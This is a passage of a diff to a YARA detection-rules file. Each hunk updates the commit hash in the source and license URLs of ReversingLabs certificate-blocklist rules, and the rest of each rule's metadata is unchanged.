+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "50fd35617e059a5fe9d9e0fdb4b880c20e406357bbb2d037f9e6e9db47b8e49f"
 		score = 75
 		quality = 90
@@ -7456,8 +7509,8 @@ rule REVERSINGLABS_Cert_Blocklist_B3F906E5E6B2Cf61C5E51Be79B4E8777 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4460-L4478"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4460-L4478"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "037e154854c1128fb73d2221c2b7d7211d977492378614fcf4fde959207e34b3"
 		score = 75
 		quality = 90
@@ -7481,8 +7534,8 @@ rule REVERSINGLABS_Cert_Blocklist_566Ac16A57B132D3F64Dced14De790Ee : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4480-L4496"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4480-L4496"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "48f4d334614f6c413907d51f4d6312554b13c4f5a3c03070ceba48baa13a8247"
 		score = 75
 		quality = 90
@@ -7506,8 +7559,8 @@ rule REVERSINGLABS_Cert_Blocklist_D2Caf7908Aaebfa1A8F3E2136Fece024 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4498-L4516"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4498-L4516"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cf4d17274ef36d61e78578d34634bf6e5fb0fb857a9a92184916b0f3b8484568"
 		score = 75
 		quality = 90
@@ -7531,8 +7584,8 @@ rule REVERSINGLABS_Cert_Blocklist_E04A344B397F752A45B128A594A3D6B5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4518-L4536"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4518-L4536"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0489577c6050f0c5d1dad5bda8c4f3c895902b932cd0324087712ccb83f14680"
 		score = 75
 		quality = 90
@@ -7556,8 +7609,8 @@ rule REVERSINGLABS_Cert_Blocklist_3Bcaed3Ef678F2F9Bf38D09E149B8D70 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4538-L4554"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4538-L4554"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "dbf85cbd1d92823287749dac312f95576900753f60a694347b31b1e3aaa288a8"
 		score = 75
 		quality = 90
@@ -7581,8 +7634,8 @@ rule REVERSINGLABS_Cert_Blocklist_56D576A062491Ea0A5877Ced418203A1 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4556-L4572"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4556-L4572"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "19bd6834b432f3dc8786b449241082b359275559a112a8ef4a51efe185b256dc"
 		score = 75
 		quality = 90
@@ -7606,8 +7659,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Fcba260Df7Da602Ecf4D4D6Fc89D5Dd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4574-L4590"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4574-L4590"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4e9a3e516342820248ebf9b3605b8ce2dbf1d9b4255a5b74f7369dd2f1cdd9d8"
 		score = 75
 		quality = 90
@@ -7631,8 +7684,8 @@ rule REVERSINGLABS_Cert_Blocklist_4152169F22454Ed604D03555B7Afb175 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4592-L4608"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4592-L4608"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fbb2124b934c270739f564317526d5b23b996364372426485d7c994a83293866"
 		score = 75
 		quality = 90
@@ -7656,8 +7709,8 @@ rule REVERSINGLABS_Cert_Blocklist_01C88Ccbd219500139D1Af138A9E898E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4610-L4626"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4610-L4626"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d1acb0a7d6e20158797e77c066be42548cee9293fa94f24f936a95977ac16d91"
 		score = 75
 		quality = 90
@@ -7681,8 +7734,8 @@ rule REVERSINGLABS_Cert_Blocklist_41D05676E0D31908Be4Dead3486Aeae3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4628-L4644"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4628-L4644"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c4905f02c74df6d05b3f9a6fe2c4f5f32a02bb10da4db929314be043be76d703"
 		score = 75
 		quality = 90
@@ -7706,8 +7759,8 @@ rule REVERSINGLABS_Cert_Blocklist_8Cff807Edaf368A60E4106906D8Df319 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4646-L4664"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4646-L4664"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6fc98519faf218d90bb4e01821e6014e009c0b525cfd3c906a64ef82bc20beda"
 		score = 75
 		quality = 90
@@ -7731,8 +7784,8 @@ rule REVERSINGLABS_Cert_Blocklist_A3E62Be1572293Ad618F58A8Aa32857F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4666-L4684"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4666-L4684"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f849898465bc651f19f6f1b54315c061466d8c5860ecf1a07f54c8c8292f6a95"
 		score = 75
 		quality = 90
@@ -7756,8 +7809,8 @@ rule REVERSINGLABS_Cert_Blocklist_672D4428450Afcc24Fc60969A5063A3E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4686-L4702"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4686-L4702"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8f5927e96109184bad7de4513994fd1021fe1cc5977e60fa72d808df95cb4516"
 		score = 75
 		quality = 90
@@ -7781,8 +7834,8 @@ rule REVERSINGLABS_Cert_Blocklist_Df479E14A70C7970A4De3Dd3E4Bb0318 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4704-L4722"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4704-L4722"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "35b1f04cf5d5d1d89db537bf75737e3af5945e594f4d4231e9ae3e7fba52fc0d"
 		score = 75
 		quality = 90
@@ -7806,8 +7859,8 @@ rule REVERSINGLABS_Cert_Blocklist_2924785Fd7990B2D510675176Dae2Bed : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4724-L4740"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4724-L4740"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e308ca5f24ed5811e947289caf9aa820a16b08ea183c7aa9826f8a726fb5c3cf"
 		score = 75
 		quality = 90
@@ -7831,8 +7884,8 @@ rule REVERSINGLABS_Cert_Blocklist_F4D2Def53Bccb0Dd2B7D54E4853A2Fc5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4742-L4760"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4742-L4760"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9991f44b8e984bd79269c44999481258d94bec9c21b154b63c6c30ae52344b3c"
 		score = 75
 		quality = 90
@@ -7856,8 +7909,8 @@ rule REVERSINGLABS_Cert_Blocklist_03Bf9Ef4Cf037A2385649026C3Da9D3E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4762-L4778"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4762-L4778"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "14196bad586b1349e6e8a1eb5621ce0d8d346ff8021c8ef80804de1533fd40d9"
 		score = 75
 		quality = 90
@@ -7881,8 +7934,8 @@ rule REVERSINGLABS_Cert_Blocklist_790177A54209D55560A55Db97C5900D6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4780-L4796"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4780-L4796"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "07c8e21fe604b481beebae784eb49e32bebee70e749581a55313bfbc757752e2"
 		score = 75
 		quality = 90
@@ -7906,8 +7959,8 @@ rule REVERSINGLABS_Cert_Blocklist_048F7B5F67D8E2B3030F75Eb7Be2713D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4798-L4814"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4798-L4814"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6d1b47f3c9d7b90a5470f83a848adeebff2cf9341a1eb41ca8b45d08b469b17f"
 		score = 75
 		quality = 90
@@ -7931,8 +7984,8 @@ rule REVERSINGLABS_Cert_Blocklist_082023879112289Bf351D297Cc8Efcfc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4816-L4832"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4816-L4832"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "58bec160445765ce45a26bf9d96ba6cfe61eee31e0953009d40a7ec64920c677"
 		score = 75
 		quality = 90
@@ -7956,8 +8009,8 @@ rule REVERSINGLABS_Cert_Blocklist_0D53690631Dd186C56Be9026Eb931Ae2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4834-L4850"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4834-L4850"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3d0a80c062800f935fa3837755e8a91245e01a4e2450a05fecab5564cb62c15c"
 		score = 75
 		quality = 90
@@ -7981,8 +8034,8 @@ rule REVERSINGLABS_Cert_Blocklist_32119925A6Ce4710Aecc4006C28E749F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4852-L4868"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4852-L4868"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ca812cdfbb7ca984fae1e16159eb0eeb1e65767fcc6aa07eeb84966853146f9d"
 		score = 75
 		quality = 90
@@ -8006,8 +8059,8 @@ rule REVERSINGLABS_Cert_Blocklist_2C90Eaf4De3Afc03Ba924C719435C2A3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4870-L4888"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4870-L4888"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5bb78a5e39f9d023cf63edabdc83d4965fc79f6f04f9fea9bcf2a53223fbd4ca"
 		score = 75
 		quality = 90
@@ -8031,8 +8084,8 @@ rule REVERSINGLABS_Cert_Blocklist_Aff762E907F0644E76Ed8A7485Fb12A1 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4890-L4908"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4890-L4908"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ad05389e0eb30cb894b03842d213b8c956f66357a913c73d8d8b79f8336bf980"
 		score = 75
 		quality = 90
@@ -8056,8 +8109,8 @@ rule REVERSINGLABS_Cert_Blocklist_D8530214Ca0F512946496B5164C61201 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4910-L4928"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4910-L4928"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "377962915586c9f5a5737c24b698c96efc2e819e52ee16109c405f9af2d57e7f"
 		score = 75
 		quality = 90
@@ -8081,8 +8134,8 @@ rule REVERSINGLABS_Cert_Blocklist_661Ba8F3C9D1B348413484E9A49502F7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4930-L4948"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4930-L4948"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4840b311c1e2c0ae14bb2cf6fa8d96ab1a434ceac861db540697f3aed1a6833f"
 		score = 75
 		quality = 90
@@ -8106,8 +8159,8 @@ rule REVERSINGLABS_Cert_Blocklist_51Aead5A9Ab2D841B449Fa82De3A8A00 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4950-L4966"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4950-L4966"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e53095aab9d6c2745125e8cd933334ebc2e51a9725714d31a46baa74b8e42ed9"
 		score = 75
 		quality = 90
@@ -8131,8 +8184,8 @@ rule REVERSINGLABS_Cert_Blocklist_03B630F9645531F8868Dae8Ac0F8Cfe6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4968-L4984"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4968-L4984"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6d2f4346760bf52a438c4c996e92a2641bebfd536248776383d7c8394e094e6a"
 		score = 75
 		quality = 90
@@ -8156,8 +8209,8 @@ rule REVERSINGLABS_Cert_Blocklist_6F8373Cf89F1B49138F4328118487F9E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4986-L5002"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4986-L5002"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f926c2f73d47d463721a0cad48d9866192df55d71867941a40cba7e0b7725102"
 		score = 75
 		quality = 90
@@ -8181,8 +8234,8 @@ rule REVERSINGLABS_Cert_Blocklist_E38259Cf24Cc702Ce441B683Ad578911 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
